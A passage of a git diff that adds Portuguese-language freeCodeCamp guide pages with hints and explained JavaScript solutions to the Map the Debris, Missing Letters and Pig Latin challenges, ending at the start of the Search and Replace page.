+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
new file mode 100644
index 0000000000..4c9fb8e6cb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
@@ -0,0 +1,166 @@
+---
+title: Map the Debris
+localeTitle: Mapeie os detritos
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+A primeira coisa a fazer é se familiarizar com o programa, sabendo exatamente o período orbital. Você deve retornar uma nova matriz que transforma a altitude média do elemento em seus períodos orbitais. As partes geralmente encontradas com dificuldade estão encontrando a fórmula, implementando-a e, para algumas pessoas, modificando objetos pela chave. No entanto, algo que não é muito claro é o fato de que seu programa deve ser capaz de verificar qualquer número de objetos na matriz; Isto é o que é testado na segunda parte.
+
+#### Links Relevantes
+
+*   [Período orbital](https://en.wikipedia.org/wiki/Orbital_period)
+*   [Objetos JS](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)
+*   [Math.PI](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
+*   [JS Math Pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   [Math.sqrt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
+*   [Math.round ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+A fórmula necessária é:
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e212370f07c55165ff69f318ee1eed24779c7532.png)
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Use `Math.round()` para arredondar para o próximo número inteiro conforme solicitado. O uso do `Math.ceil()` permitirá que você passe no primeiro teste, mas falhe no segundo.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Descubra como remover e adicionar chave a um objeto JavaScript.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+  var a = 2 * Math.PI; 
+  var newArr = []; 
+  var getOrbPeriod = function(obj) { 
+    var c = Math.pow(earthRadius + obj.avgAlt, 3); 
+    var b = Math.sqrt(c / GM); 
+    var orbPeriod = Math.round(a * b); 
+    delete obj.avgAlt; 
+    obj.orbitalPeriod = orbPeriod; 
+    return obj; 
+  }; 
+ 
+  for (var elem in arr) { 
+    newArr.push(getOrbPeriod(arr[elem])); 
+  } 
+ 
+  return newArr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLow/0)
+
+### Explicação do código:
+
+*   **GM** e **earthRadius** são ambos dados para nós.
+*   Para tornar o código mais fácil de editar e ler, cada parte da equação é escrita separadamente.
+*   Crie **newArr** para armazenar o `orbPeriod` 's.
+*   **a** é 2 vezes pi. A parte que é uma constante está no escopo global, enquanto o restante é parte de uma função.
+*   Crie uma função, `gerOrbPeriod()` que fará o trabalho necessário para qualquer quantidade de objetos.
+*   **c** é ( **earthRadius** + **avgAlt** ) para o cubo.
+*   **b** é a raiz quadrada de **c** dividido por **GM** .
+*   Criar **orbPeriod** para armazenar o produto de **a** e **b,** com a `Math.round()` função aplicada para arredondar para o número inteiro seguinte.
+*   Em seguida, **excluímos** a chave **avgAlt** e adicionamos a nova chave e seu valor.
+
+#### Links Relevantes
+
+*   [JS For In Loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  //Looping through each key in arr object 
+  for(var prop in arr) { 
+    //Rounding off the orbital period value 
+    var orbitalPer = Math.round(2 * Math.PI * Math.sqrt(Math.pow(arr[prop].avgAlt + earthRadius, 3) / GM)); 
+    //deleting the avgAlt property 
+    delete arr[prop].avgAlt; 
+    //adding orbitalPeriod property 
+    arr[prop].orbitalPeriod = orbitalPer; 
+  } 
+ 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoy/0)
+
+### Explicação do código:
+
+*   **GM** e **earthRadius** são ambos dados para nós.
+*   Um loop `for..in` é usado para percorrer cada valor em uma determinada matriz **arr** .
+*   **orbitalPer** detém o valor do período orbital para cada iteração calculada usando a fórmula.
+*   A chave **avgAlt** é excluída e **orbitalPer** encontrada é atribuída em **arr** .
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  // Loop through each item in the array arr 
+  arr.forEach(function(item) { 
+    // Calculate the Orbital period value 
+    var tmp = Math.round(2 * Math.PI * Math.sqrt(Math.pow(earthRadius + item.avgAlt, 3) / GM)); 
+    //Delete the avgAlt property 
+    delete item.avgAlt; 
+    //Add orbitalPeriod property 
+    item.orbitalPeriod = tmp; 
+  }); 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoz/0)
+
+### Explicação do código:
+
+*   **GM** e **earthRadius** são ambos dados para nós.
+*   O método `forEach()` é usado para executar a função uma vez por elemento ( **item** ) em **arr** .
+*   **tmp** mantém o valor do período orbital para cada elemento calculado usando a fórmula.
+*   A chave **avgAlt** é excluída e o período orbital ( **tmp** ) encontrado é atribuído à chave **orbitalPeriod** .
+
+#### Links Relevantes
+
+*   [Protótipo JS Array ForEach](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
new file mode 100644
index 0000000000..1fa081f8b6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
@@ -0,0 +1,175 @@
+---
+title: Missing Letters
+localeTitle: Cartas desaparecidas
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você criará um programa que encontrará a letra ausente de uma string e a retornará. Se não houver letra faltando, o programa deve retornar indefinido. Não há atualmente nenhum caso de teste para a cadeia que perdeu mais de uma letra, mas se houvesse uma, a recursão seria usada. Além disso, as letras são sempre fornecidas em ordem para que não haja necessidade de classificá-las.
+
+#### Links Relevantes
+
+*   [Objeto global de string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [Protótipo de Cadeia JS CharCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você precisará converter de caractere em código ASCII usando os dois métodos fornecidos na descrição.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você terá que verificar a diferença no código ASCII como eles estão em ordem. Usando um gráfico seria muito útil.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Você precisará descobrir onde está a letra faltando, além de lidar com o caso de não haver letras faltando, já que ela precisa de um valor de retorno específico.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function fearNotLetter(str) { 
+ 
+  for(var i = 0; i < str.length; i++) { 
+    /* code of current character */ 
+    var code = str.charCodeAt(i); 
+ 
+    /* if code of current character is not equal to first character + no of iteration 
+    hence character has been escaped */ 
+    if (code !== str.charCodeAt(0) + i) { 
+ 
+      /* if current character has escaped one character find previous char and return */ 
+      return String.fromCharCode(code - 1); 
+    } 
+  } 
+  return undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnD/0)
+
+### Explicação do código:
+
+*   Esta solução faz uso de um loop `for` .
+*   O código do caractere encontrado é armazenado no **código** .
+*   É verificado se o código do caractere atual é o esperado (nenhum caractere é ignorado) usando o `code of current character = code of first character + number of iterations` lógico `code of current character = code of first character + number of iterations` .
+*   Se um caractere estiver faltando, o caractere ausente será localizado e a string final será retornada.
+*   `undefined` é retornado se não houver caracteres ausentes na string.
+
+#### Links Relevantes
+
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   String.length
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+// Adding this solution for the sake of avoiding using 'for' and 'while' loops. 
+ // See the explanation for reference as to why. It's worth the effort. 
+ 
+ function fearNotLetter(str) { 
+  var compare = str.charCodeAt(0), missing; 
+ 
+  str.split('').map(function(letter,index) { 
+    if (str.charCodeAt(index) == compare) { 
+      ++compare; 
+    } else { 
+      missing = String.fromCharCode(compare); 
+    } 
+  }); 
+ 
+  return missing; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnE/0)
+
+### Explicação do código:
+
+*   Primeiro, definimos variáveis ​​para armazenar o código do caractere para a primeira letra da string e para armazenar as letras que faltam.
+*   Nós transformamos a string em uma matriz para mapear através dela, em vez de usar loops `for` e `while` .
+*   À medida que `map` através de códigos de caracteres dos nossos cartas, nós vamos comparar com o que deveria estar nessa posição.
+*   Se a letra atual corresponder, movemos a variável de comparação para sua próxima posição, para que possamos comparar no próximo ciclo.
+*   Caso contrário, a letra ausente será atribuída à variável `missing` , que será retornada após o término do mapa.
+*   Se não houver caracteres ausentes, retorne `undefined` .
+
+#### Links Relevantes
+
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Mapa de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código simplificado:
+```
+function fearNotLetter(str) { 
+  for (let i = 1; i < str.length; ++i) { 
+    if (str.charCodeAt(i) - str.charCodeAt(i-1) > 1) { 
+      return String.fromCharCode(str.charCodeAt(i - 1) + 1); 
+    } 
+  } 
+ } 
+```
+
+### Explicação do código:
+
+*   Loop sobre a string
+*   Verifique se a diferença nos códigos de caracteres entre caracteres adjacentes na string é maior que 1 (tabela chack ASCII)
+*   Retorna o caractere ausente (+1 de onde a lacuna foi detectada)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function fearNotLetter(str) { 
+  var allChars = ''; 
+  var notChars = new RegExp('[^'+str+']','g'); 
+ 
+  for (var i = 0; allChars[allChars.length-1] !== str[str.length-1] ; i++) 
+    allChars += String.fromCharCode(str[0].charCodeAt(0) + i); 
+ 
+  return allChars.match(notChars) ? allChars.match(notChars).join('') : undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnG/0)
+
+### Explicação do código:
+
+*   Uma nova string **allChars** é criada.
+*   Crie uma expressão regular **notChars** que selecione tudo, exceto **str** .
+*   O `for` loop é usado para adicionar todas as letras na faixa de **allChars.**
+*   `match()` é usado para retirar as letras **str** da string recém-criada e ela é retornada.
+*   Se não houver caracteres ausentes, retorne `undefined` .
+
+#### Links Relevantes
+
+*   Recursos JS Regex
+*   [JS Ternary](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+*   [Correspondência de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
new file mode 100644
index 0000000000..628b2c9310
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
@@ -0,0 +1,182 @@
+---
+title: Pig Latin
+localeTitle: Porco Latino
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você precisa criar um programa que irá traduzir do inglês para o Pig Latin. Pig Latin pega a primeira consoante (ou consoante cluster) de uma palavra inglesa, move-a para o final da palavra e sufixa um "ay". Se uma palavra começa com uma vogal, você apenas adiciona "caminho" ao final. Pode não ser óbvio, mas você precisa remover todas as consoantes até a primeira vogal, caso a palavra não comece com uma vogal.
+
+#### Links Relevantes
+
+*   [Porco Latino](http://en.wikipedia.org/wiki/Pig_Latin)
+*   [Correspondência de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você provavelmente desejará usar expressões regulares. Isso permitirá que você converta as palavras facilmente.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Se o primeiro caractere é uma vogal, então pegue a palavra inteira e adicione 'way' no final. Caso contrário, vem a parte complicada, pegue a (s) consoante (s) antes da primeira vogal e mova-a para o final e adicione 'ay'. Isso pode ser confuso, mas não é apenas a primeira consoante, mas todas antes da primeira vogal.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Você precisará usar tudo o que sabe sobre a manipulação de strings para obter a última parte correta. No entanto, isso pode ser feito apenas com `substr` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function translatePigLatin(str) { 
+  // Create variables to be used 
+  var pigLatin = ''; 
+  var regex = /[aeiou]/gi; 
+ 
+  // Check if the first character is a vowel 
+  if (str[0].match(regex)) { 
+    pigLatin = str + 'way'; 
+ 
+  } else if(str.match(regex) === null) { 
+    // Check if the string contains only consonants 
+    pigLatin = str + 'ay'; 
+  } else { 
+ 
+    // Find how many consonants before the first vowel. 
+    var vowelIndice = str.indexOf(str.match(regex)[0]); 
+ 
+    // Take the string from the first vowel to the last char 
+    // then add the consonants that were previously omitted and add the ending. 
+    pigLatin = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay'; 
+  } 
+ 
+  return pigLatin; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmt/0)
+
+### Explicação do código:
+
+*   Faça uma corda vazia para segurar sua palavra latina.
+*   Atribua sua expressão regular apropriada a uma variável.
+*   Se o primeiro caractere for uma vogal, apenas adicione o **caminho** ao final da string e retorne-o.
+*   Se o primeiro caractere não for uma vogal:
+    *   Encontre o número de consoantes antes da primeira vogal com a ajuda de `indexOf()` , `match()` e regex.
+    *   Comece a corda Latin do porco com primeira vogal até o fim.
+    *   Adicione letras antes da primeira vogal ao final da string.
+    *   `substr()` é usado para manipulação de string aqui.
+    *   Adicione **ai** ao final da string e retorne-a.
+
+#### Links Relevantes
+
+*   Recursos JS Regex
+*   [Índice de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function translatePigLatin(str) { 
+  function check(obj) { 
+      return ['a','i','u','e','o'].indexOf(str.charAt(obj)) == -1 ? check(obj + 1) : obj; 
+  } 
+ 
+  return str.substr(check(0)).concat((check(0) === 0 ? 'w' : str.substr(0, check(0))) + 'ay'); 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmw/0)
+
+### Explicação do código:
+
+*   Esta é uma abordagem declarativa e recursiva para este problema.
+*   `check()` é uma função que verifica se a primeira letra da string está na matriz de vogais, `['a','i','u','e','o']` .
+*   No caso de consoantes, `check()` chama-se nos próximos caracteres até encontrar a primeira vogal.
+*   Ele retornará o índice de tudo o que encontrar para ser a última consoante inicial, isto é, a de Schmidtsville seria 3.
+*   Em seguida, as cartas, até que o índice são removidos a partir da cadeia e concatenado com qualquer um que mesmo pedaço de corda removido ou **w** em conformidade, e, em seguida, **ay** independentemente.
+
+#### Links Relevantes
+
+*   [Caráter Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [Concat de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function translatePigLatin(str) { 
+    var strArr = []; 
+    var tmpChar; 
+ 
+    // check if the char is consonant using RegEx 
+    function isConsonant(char) { 
+        return !/[aeiou]/.test(char); 
+    } 
+ 
+    // return initial str + "way" if it starts with vowel 
+    // if not - convert str to array 
+    if (!isConsonant(str.charAt(0))) 
+        return str + "way"; 
+    else 
+        strArr = str.split(""); 
+ 
+    // push all consonats to the end of the array 
+    while (isConsonant(strArr[0])) { 
+        tmpChar = strArr.shift(); 
+        strArr.push(tmpChar); 
+    } 
+ // convert array to string and concatenate "ay" at the end 
+ return strArr.join("")+"ay"; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmv/0)
+
+### Explicação do código:
+
+*   `isConsonant()` é usado para verificar se um caractere é uma consoante.
+*   Se o primeiro caractere for vogal, adicione o **caminho** ao final da string e retorne-o.
+*   Se o primeiro caractere não for uma vogal:
+    *   Dividir string em array usando `split()` .
+    *   Empurre todas as consoantes para o final do array com ajuda de `shift()` e `push()` .
+    *   Converta array para string usando `join()` e adicione **ay** ao final da string. Devolver.
+
+#### Links Relevantes
+
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Mudança de Protótipo de Matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+### ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 ":troféu:") Créditos:
+
+Se achou útil esta página, pode agradecer aos colaboradores copiando e colando a seguinte linha no chat principal:
+
+**`Thanks @Rafase282 @sabahang @aganita @Hallaathrad for your help with Algorithm: Pig Latin`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
new file mode 100644
index 0000000000..4bf68c080f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
@@ -0,0 +1,235 @@
+---
+title: Search and Replace
+localeTitle: Pesquisar e substituir
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você criará um programa que aceita uma sentença, depois procurará uma palavra nela e a substituirá por uma nova, preservando as maiúsculas, se houver uma.
+
+#### Links Relevantes
+
+*   [Objeto global de string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [Substituição de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
